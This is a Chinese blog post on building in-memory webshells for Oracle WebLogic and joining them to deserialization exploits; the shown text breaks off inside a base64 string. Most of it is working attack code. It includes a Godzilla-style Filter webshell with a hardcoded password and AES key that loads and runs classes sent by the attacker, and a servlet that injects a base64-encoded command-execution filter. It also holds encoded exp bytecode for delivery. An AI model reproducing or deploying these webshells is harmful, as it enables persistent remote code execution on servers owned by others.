October 1, 2023

Weblogic内存马学习&&集成Suo5逻辑

前言

感觉weblogic还没学完,得学,这东西实战中利用的太多了,得先吃透,其实也不难,逻辑和tomcat的内存马几乎一致。只需要照葫芦画瓢即可

环境搭建

环境搭建我直接
Weblogic全漏洞学习
看自己以前的搭建,记得把wlfullclient放进去,里面有处理Filter、Listenr、Servlet的逻辑

获取Context

我用CVE2016那几个打的时候context经常无法获取不到,导致内存马无法注入,经过测试发现应该只有哥斯拉的Mbean方法可以获取到上下文,不知道是不是反序列化流程获取线程的问题还是版本,可能是我的gadgets构造的有问题吧,maybe

填坑,针对weblogic貌似不能单纯的去拿CC链去打,这里我们使用了CCK3这条链,这条链可以defineclass一个任意类。之前用的是CC3,不知道为啥总是打不通。。。。

这里根据哥斯拉作者的内存马选择Mean方法即可。这种payload是高低版本兼容的

Weblogic Filter型内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.Translet;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.math.BigInteger;
import java.security.MessageDigest;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import weblogic.management.runtime.ApplicationRuntimeMBean;
import weblogic.servlet.internal.WebAppServletContext;
import weblogic.t3.srvr.ServerRuntime;

public class InjectWeblogicGodzilla4Filter extends ClassLoader implements Filter, Translet {
public InjectWeblogicGodzilla4Filter() {
}

public InjectWeblogicGodzilla4Filter(ClassLoader z) {
super(z);
}

public Class Q(byte[] cb) {
return this.defineClass(cb, 0, cb.length);
}

public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec("3c6e0b8a9c15224a".getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
}

public static String md5(String s) {
String ret = null;

try {
MessageDigest m = MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = (new BigInteger(1, m.digest())).toString(16).toUpperCase();
} catch (Exception var3) {
}

return ret;
}

public static String base64Encode(byte[] bs) throws Exception {
String value = null;

Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", (Class[])null).invoke(base64, (Object[])null);
value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
} catch (Exception var5) {
}
}

return value;
}

public static byte[] base64Decode(String bs) throws Exception {
byte[] value = null;

Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class[])null).invoke(base64, (Object[])null);
value = (byte[])((byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs));
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[])((byte[])decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs));
} catch (Exception var5) {
}
}

return value;
}

public void init(FilterConfig filterConfig) throws ServletException {
}

public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String pass = "hackfun1024";
String xc = "3c6e0b8a9c15224a";
String md5 = md5(pass + xc);

try {
HttpServletRequest request = (HttpServletRequest)servletRequest;
HttpServletResponse response = (HttpServletResponse)servletResponse;
HttpSession session = request.getSession();
byte[] data = base64Decode(request.getParameter(pass));
data = this.x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", (new InjectWeblogicGodzilla4Filter(this.getClass().getClassLoader())).Q(data));
} else {
request.setAttribute("parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class)session.getAttribute("payload")).newInstance();
f.equals(arrOut);
f.equals(request);
response.getWriter().write(md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));
}
} catch (Exception var13) {
filterChain.doFilter(servletRequest, servletResponse);
var13.printStackTrace();
}

}

public void destroy() {
}

public static void main(String[] args) {
try {
WebAppServletContext webAppServletContext = null;
Method m = Class.forName("weblogic.t3.srvr.ServerRuntime").getDeclaredMethod("theOne");
m.setAccessible(true);
ServerRuntime serverRuntime = (ServerRuntime)m.invoke((Object)null);
List<WebAppServletContext> list = new ArrayList();
ApplicationRuntimeMBean[] arr$ = serverRuntime.getApplicationRuntimes();
int len$ = arr$.length;

Object key;
Field cachedClasses;
for(int i = 0; i < len$; ++i) {
ApplicationRuntimeMBean applicationRuntime = arr$[i];
if (applicationRuntime.getApplicationName().equals("bea_wls_internal")) {
cachedClasses = applicationRuntime.getClass().getSuperclass().getDeclaredField("children");
cachedClasses.setAccessible(true);
HashSet set = (HashSet)cachedClasses.get(applicationRuntime);
Iterator is = set.iterator();

while(is.hasNext()) {
key = is.next();
if (key.getClass().getName().equals("weblogic.servlet.internal.WebAppRuntimeMBeanImpl")) {
Field contextF = key.getClass().getDeclaredField("context");
contextF.setAccessible(true);
webAppServletContext = (WebAppServletContext)contextF.get(key);
list.add(webAppServletContext);
}
}
}
}

if (webAppServletContext != null) {
Field classLoader = webAppServletContext.getClass().getDeclaredField("classLoader");
classLoader.setAccessible(true);
ClassLoader classLoader1 = (ClassLoader)classLoader.get(webAppServletContext);
cachedClasses = classLoader1.getClass().getDeclaredField("cachedClasses");
cachedClasses.setAccessible(true);
Object cachedClasses_map = cachedClasses.get(classLoader1);
Method get = cachedClasses_map.getClass().getDeclaredMethod("get", Object.class);
get.setAccessible(true);
if (get.invoke(cachedClasses_map, "jspFilter") == null) {
Method put = cachedClasses_map.getClass().getMethod("put", Object.class, Object.class);
put.setAccessible(true);
put.invoke(cachedClasses_map, "jspFilter", InjectWeblogicGodzilla4Filter.class);
Field filterManager = webAppServletContext.getClass().getDeclaredField("filterManager");
filterManager.setAccessible(true);
key = filterManager.get(webAppServletContext);
Method registerFilter = key.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);
registerFilter.setAccessible(true);
registerFilter.invoke(key, "test", "jspFilter", new String[]{"/*"}, null, null, null);
}
}

Method method = webAppServletContext.getClass().getDeclaredMethod("getRootTempDir");
File var20 = (File)method.invoke(webAppServletContext);
} catch (Exception var16) {
}

}

public void transform(DOM document, SerializationHandler handler) throws TransletException {
}

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}

public Object addParameter(String name, Object value) {
return null;
}

public void buildKeys(DOM document, DTMAxisIterator iterator, SerializationHandler handler, int root) throws TransletException {
}

public void addAuxiliaryClass(Class auxClass) {
}

public Class getAuxiliaryClass(String className) {
return null;
}

public String[] getNamesArray() {
return new String[0];
}

public String[] getUrisArray() {
return new String[0];
}

public int[] getTypesArray() {
return new int[0];
}

public String[] getNamespaceArray() {
return new String[0];
}

@Override
public boolean useServicesMechnism() {
return false;
}

@Override
public void setServicesMechnism(boolean flag) {

}

public boolean overrideDefaultParser() {
return false;
}

public void setOverrideDefaultParser(boolean flag) {
}
}

我们可以分析一下这个内存马的原理。说得好,这就是从哥斯拉里抄下来的马,怎么你有意见(。
之前试过几种网上流传的内存马如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
package com.example.web;

import sun.misc.BASE64Decoder;
import weblogic.servlet.internal.ServletRequestImpl;
import weblogic.servlet.internal.WebAppServletContext;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Map;
import javax.servlet.http.*;

public class HelloServlet extends HttpServlet {
private String message;

public void init() {
message = "Hello World!";
}

public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
Thread thread = Thread.currentThread();
try {
//获取WebAppServletContext
Field workEntry = Class.forName("weblogic.work.ExecuteThread").getDeclaredField("workEntry");
workEntry.setAccessible(true);
Object workentry = workEntry.get(thread);
WebAppServletContext webAppServletContext=null;
try{ //weblogic 12.1.3
Field connectionHandler = workentry.getClass().getDeclaredField("connectionHandler");
connectionHandler.setAccessible(true);
Object http = connectionHandler.get(workentry);

Field request1 = http.getClass().getDeclaredField("request");
request1.setAccessible(true);
ServletRequestImpl servletRequest = (ServletRequestImpl) request1.get(http);

Field context = servletRequest.getClass().getDeclaredField("context");
context.setAccessible(true);
webAppServletContext = (WebAppServletContext) context.get(servletRequest);

}catch (Exception e){
//weblogic 1036
Field context = workentry.getClass().getDeclaredField("context");
context.setAccessible(true);
webAppServletContext = (WebAppServletContext) context.get(workentry);
}
if(webAppServletContext==null){throw new Exception("null");}
//加载字节码
String encode_class = "yv66vgAAADQAkgoAHgBJCAA/CwBKAEsIAEwKAE0ATgoACQBPCABQCgAJAFEHAFIIAFMIAFQIAFUIAFYKAFcAWAoAVwBZCgBaAFsHAFwKABEAXQgAXgoAEQBfCgARAGAKABEAYQgAYgsAYwBkCgBlAGYKAGUAZwoAZQBoCwBpAGoHAGsHAGwHAG0BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAC0xjbWRGaWx0ZXI7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcAbgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQACaW4BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAAFzAQATTGphdmEvdXRpbC9TY2FubmVyOwEABm91dHB1dAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABndyaXRlcgEAEExqYXZhL2lvL1dyaXRlcjsBAA5zZXJ2bGV0UmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAD3NlcnZsZXRSZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEAA2NtZAEADVN0YWNrTWFwVGFibGUHAFIHADAHAG8HAFwHAHABAAdkZXN0cm95AQAKU291cmNlRmlsZQEADmNtZEZpbHRlci5qYXZhDAAgACEHAHEMAHIAcwEAB29zLm5hbWUHAHQMAHUAcwwAdgB3AQADd2luDAB4AHkBABBqYXZhL2xhbmcvU3RyaW5nAQAHY21kLmV4ZQEAAi9jAQACc2gBAAItYwcAegwAewB8DAB9AH4HAH8MAIAAgQEAEWphdmEvdXRpbC9TY2FubmVyDAAgAIIBAAJcYQwAgwCEDACFAIYMAIcAdwEAAAcAiAwAiQCKBwCLDACMAI0MAI4AIQwAjwAhBwCQDAAtAJEBAAljbWRGaWx0ZXIBABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAHaGFzTmV4dAEAAygpWgEABG5leHQBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAOamF2YS9pby9Xcml0ZXIBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoAQAFY2xvc2UBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgAhAB0AHgABAB8AAAAEAAEAIAAhAAEAIgAAAC8AAQABAAAABSq3AAGxAAAAAgAjAAAABgABAAAABQAkAAAADAABAAAABQAlACYAAAABACcAKAACACIAAAA1AAAAAgAAAAGxAAAAAgAjAAAABgABAAAACQAkAAAAFgACAAAAAQAlACYAAAAAAAEAKQAqAAEAKwAAAAQAAQAsAAEALQAuAAIAIgAAAYAABAAKAAAAoisSArkAAwIAOgQZBMYAjQE6BRIEuAAFtgAGEge2AAiZABsGvQAJWQMSClNZBBILU1kFGQRTOgWnABgGvQAJWQMSDFNZBBINU1kFGQRTOgW4AA4ZBbYAD7YAEDoGuwARWRkGtwASEhO2ABQ6BxkHtgAVmQALGQe2ABanAAUSFzoILLkAGAEAOgkZCRkItgAZGQm2ABoZCbYAGy0rLLkAHAMAsQAAAAMAIwAAAD4ADwAAAA0ACgAOAA8ADwASABEAIgASADoAFABPABcAXAAYAGwAGQCAABoAiAAbAI8AHACUAB0AmQAfAKEAIAAkAAAAZgAKABIAhwAvADAABQBcAD0AMQAyAAYAbAAtADMANAAHAIAAGQA1ADYACACIABEANwA4AAkAAACiACUAJgAAAAAAogA5ADoAAQAAAKIAOwA8AAIAAACiAD0APgADAAoAmAA/ADYABABAAAAAHAAF/QA6BwBBBwBCFP0ALAcAQwcAREEHAEH4ABoAKwAAAAYAAgBFACwAAQBGACEAAQAiAAAAKwAAAAEAAAABsQAAAAIAIwAAAAYAAQAAACcAJAAAAAwAAQAAAAEAJQAmAAAAAQBHAAAAAgBI";
byte[] decode_class = new BASE64Decoder().decodeBuffer(encode_class);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
defineClass.setAccessible(true);
//这里为了适配weblogic 1036 必须反射获取webAppServletContext中的classLoader
Field loader = webAppServletContext.getClass().getDeclaredField("classLoader");
loader.setAccessible(true);
ClassLoader ClassLoader0= (ClassLoader) loader.get(webAppServletContext);
Class filter_class = (Class) defineClass.invoke(ClassLoader0, decode_class, 0, decode_class.length);

//获取ChangeAwareClassLoader,因为cachedClasses这个变量在ChangeAwareClassLoader中
Field classLoader = webAppServletContext.getClass().getDeclaredField("classLoader");
classLoader.setAccessible(true);
ClassLoader classLoader1 = (ClassLoader) classLoader.get(webAppServletContext);
//获取cachedClasses
Field cachedClasses = classLoader1.getClass().getDeclaredField("cachedClasses");
cachedClasses.setAccessible(true);
Object cachedClasses_map = cachedClasses.get(classLoader1);
Method get = cachedClasses_map.getClass().getDeclaredMethod("get", Object.class);
get.setAccessible(true);
//如果cachedClasses中不存在cmdFilter类
if (get.invoke(cachedClasses_map, "cmdFilter") == null) {
//把cmdFilter的class 存入cachedClasses中
Method put = cachedClasses_map.getClass().getMethod("put", Object.class, Object.class);
put.setAccessible(true);
put.invoke(cachedClasses_map, "cmdFilter", filter_class);
//获取filterManager类
Field filterManager = webAppServletContext.getClass().getDeclaredField("filterManager");
filterManager.setAccessible(true);
Object o = filterManager.get(webAppServletContext);
//注册Filter
Method registerFilter = o.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);
registerFilter.setAccessible(true);
registerFilter.invoke(o, "test", "cmdFilter", new String[]{"/*"}, null, null, null);
response.getWriter().write("success!!!");
}

} catch (Exception e) {

}

}

public void destroy() {
}
}

但是都以失败告终,程序崩溃在

1
2
Object workentry = workEntry.get(thread);
WebAppServletContext webAppServletContext=null;

这两步,具体原因我也不知道,十分之玄学。
最终选用的exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
String className="InjectWeblogicGodzilla4Filter";
byte[] clsData= Base64.getDecoder().decode("yv66vgAAADQB0QoAYwEVCgBjARYKADYBFwgBGAoBGQEaBwEbCAEcCgAgAR0KAAYBHgoBGQEfCgEZASAHASEIASIKASMBJAoAIAElCgEjASYHAScKASMBKAoAEQEpCgARASoKACABKwgBLAoAHQEtCAEuCgAdAS8KATABMQoAHwEyCAEzBwE0BwB/BwE1BwE2CAE3CgAdATgIATkIAToIATsIATwIAT0IAT4HAT8KACkBFQoAKQFACgApAUEKADYBQgcBQwcBRAsALgFFCwAuAUYKADYBRwoANgFICAFJCwFKAUsHAUwKAB0BTQoANgEWCgA2AU4LAUoBTwgBUAsALgFPBwFRCgA9ARUKAB8BUgsALwFTCgAgAVQKAVUBVgoAHwFBCgA9AVcKADYBWAoAIAFZCwFaAVsKAAwBXAgBXQgBXgoAHQFfCgEwAWAHAWEHAWIKAE4BFQoATQFjCwFkAWUIAWYKACABUgoAHQFnCAFoCgAdAWkKAWoBYAoBagFrBwFsCgBZAW0LAW4BbwsBbgFwCgAdAXEIAXIIAXMHAXQLAXUBdggA0wcBdwgA1QgA1wgBeAgAzwgA0QgA0gcA4wcBeQgBeggBewgBfAcBfQcBfgcBfwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAfTEluamVjdFdlYmxvZ2ljR29kemlsbGE0RmlsdGVyOwEAGihMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQABegEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQABUQEAFShbQilMamF2YS9sYW5nL0NsYXNzOwEAAmNiAQACW0IBAAF4AQAHKFtCWilbQgEAAWMBABVMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQABcwEAAW0BAAFaAQANU3RhY2tNYXBUYWJsZQcBTAcBgAcBIQEAA21kNQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAdTGphdmEvc2VjdXJpdHkvTWVzc2FnZURpZ2VzdDsBABJMamF2YS9sYW5nL1N0cmluZzsBAANyZXQHATYBAAxiYXNlNjRFbmNvZGUBABYoW0IpTGphdmEvbGFuZy9TdHJpbmc7AQAHRW5jb2RlcgEAEkxqYXZhL2xhbmcvT2JqZWN0OwEABmJhc2U2NAEAEUxqYXZhL2xhbmcvQ2xhc3M7AQACYnMBAAV2YWx1ZQEACkV4Y2VwdGlvbnMBAAxiYXNlNjREZWNvZGUBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAHZGVjb2RlcgEABGluaXQBAB8oTGphdmF4L3NlcnZsZXQvRmlsdGVyQ29uZmlnOylWAQAMZmlsdGVyQ29uZmlnAQAcTGphdmF4L3NlcnZsZXQvRmlsdGVyQ29uZmlnOwcBgQEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEABmFyck91dAEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAAFmAQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAB3Nlc3Npb24BACBMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uOwEABGRhdGEBAAR2YXI2AQAOc2VydmxldFJlcXVlc3QBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAA9zZXJ2bGV0UmVzcG9uc2UBAB9MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQALZmlsdGVyQ2hhaW4BABtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjsBAARwYXNzAQACeGMHAYIHAYMHAYQHAUMHAUQHAYUHAYYBAAdkZXN0cm95AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAAhjb250ZXh0RgEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAANrZXkBAAljaGlsZHJlbkYBAANzZXQBABNMamF2YS91dGlsL0hhc2hTZXQ7AQACaXMBABRMamF2YS91dGlsL0l0ZXJhdG9yOwEAEmFwcGxpY2F0aW9uUnVudGltZQEANUx3ZWJsb2dpYy9tYW5hZ2VtZW50L3J1bnRpbWUvQXBwbGljYXRpb25SdW50aW1lTUJlYW47AQABaQEAAUkBAANwdXQBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEADWZpbHRlck1hbmFnZXIBAA5yZWdpc3RlckZpbHRlcgEAC2NsYXNzTG9hZGVyAQAMY2xhc3NMb2FkZXIxAQANY2FjaGVkQ2xhc3NlcwEAEWNhY2hlZENsYXNzZXNfbWFwAQADZ2V0AQAUd2ViQXBwU2VydmxldENvbnRleHQBADBMd2VibG9naWMvc2VydmxldC9pbnRlcm5hbC9XZWJBcHBTZXJ2bGV0Q29udGV4dDsBAA1zZXJ2ZXJSdW50aW1lAQAgTHdlYmxvZ2ljL3QzL3NydnIvU2VydmVyUnVudGltZTsBAARsaXN0AQAQTGphdmEvdXRpbC9MaXN0OwEABGFyciQBADZbTHdlYmxvZ2ljL21hbmFnZW1lbnQvcnVudGltZS9BcHBsaWNhdGlvblJ1bnRpbWVNQmVhbjsBAARsZW4kAQAGbWV0aG9kAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQBCTGphdmEvdXRpbC9MaXN0PEx3ZWJsb2dpYy9zZXJ2bGV0L2ludGVybmFsL1dlYkFwcFNlcnZsZXRDb250ZXh0Oz47BwF0BwGHBwFhBwGIBwDfBwGJBwGKBwFsBwGLAQAJdHJhbnNmb3JtAQBxKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcBjAEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAxhZGRQYXJhbWV0ZXIBADgoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEABG5hbWUBAAlidWlsZEtleXMBAKcoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyO0kpVgEABHJvb3QBABFhZGRBdXhpbGlhcnlDbGFzcwEAFChMamF2YS9sYW5nL0NsYXNzOylWAQAIYXV4Q2xhc3MBABFnZXRBdXhpbGlhcnlDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAljbGFzc05hbWUBAA1nZXROYW1lc0FycmF5AQAVKClbTGphdmEvbGFuZy9TdHJpbmc7AQAMZ2V0VXJpc0FycmF5AQANZ2V0VHlwZXNBcnJheQEABCgpW0kBABFnZXROYW1lc3BhY2VBcnJheQEAFW92ZXJyaWRlRGVmYXVsdFBhcnNlcgEAAygpWgEAGHNldE92ZXJyaWRlRGVmYXVsdFBhcnNlcgEABChaKVYBAARmbGFnAQAKU291cmNlRmlsZQEAIkluamVjdFdlYmxvZ2ljR29kemlsbGE0RmlsdGVyLmphdmEMAHIAcwwAcgB5DAGNAY4BAANBRVMHAYAMAY8BkAEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBABAzYzZlMGI4YTljMTUyMjRhDAGRAZIMAHIBkwwAnwGUDAGVAZYBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQADTUQ1BwGXDAGPAZgMAZkBmgwBmwGcAQAUamF2YS9tYXRoL0JpZ0ludGVnZXIMAZ0BkgwAcgGeDAGfAaAMAaEBogEAEGphdmEudXRpbC5CYXNlNjQMAaMBBgEACmdldEVuY29kZXIMAaQBpQcBhwwBpgGnDAGoAakBAA5lbmNvZGVUb1N0cmluZwEAD2phdmEvbGFuZy9DbGFzcwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQAWc3VuLm1pc2MuQkFTRTY0RW5jb2RlcgwBqgGrAQAGZW5jb2RlAQAKZ2V0RGVjb2RlcgEABmRlY29kZQEAFnN1bi5taXNjLkJBU0U2NERlY29kZXIBAAxkZWNvZGVCdWZmZXIBAAtoYWNrZnVuMTAyNAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDAGsAa0MAZ8BogwAjQCOAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlDAGuA